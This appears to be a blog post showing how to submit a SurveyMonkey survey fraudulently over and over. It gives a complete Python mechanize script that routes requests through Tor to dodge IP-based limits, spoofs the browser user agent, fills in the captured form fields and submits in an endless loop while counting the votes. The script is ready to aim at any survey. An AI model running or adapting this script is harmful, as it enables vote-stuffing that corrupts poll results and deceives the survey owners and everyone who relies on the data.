As Survey Monkey is used for surveys you want to have real results.
This post will show how easily it would be to vote fraudulently and manipulate poll results.
For this example I will be using python with it’s mechanize module and Tor installed on Linux. You will also need Firefox with the TamperData plugin.
Firstly I have created a test Survey.
Next I will find out the post data using TamperData.
The important data has been highlighed. The input name on the left is the name of the form element for the What is my name and the number corresponding to it on the far right is the answer I picked “billy”. The rest of the post data is hidden feilds and tokens to identify the response.
With this information it’s easy to put together a script to automate the submission of the survey. Below is the commented code for the example submission.
#!/usr/bin/env python #SurveyMonkey needs captcha import mechanize import socks import socket #patch to use tor, code from stackcoverflow not mine def create_connection(address, timeout=None, source_address=None): sock = socks.socksocket() sock.connect(address) return sock socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) socket.socket = socks.socksocket socket.create_connection = create_connection count = 0 while True: br = mechanize.Browser()# Open the broswer object br.addheaders = [('User-agent', ' Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31')] br.open('http://www.surveymonkey.com/s/AAAAA') # survey to test br.select_form(nr=0) #What is my name? br.form.set_value(['6024902055_0'],name='input_518253276_10_0_0') #Drop down you say selection c br.form.set_value(['6024902970'],name='input_518253330_50_6024902966_6024902967') #Tell me about yourself text = "testing 123" # text for the form br.form.set_value(text,name='text_518253292_0') br.submit()#submit the form br.response().read()#print the response print br.response().read() count+=1 print "Number of votes: "+ str(count) # print number of votes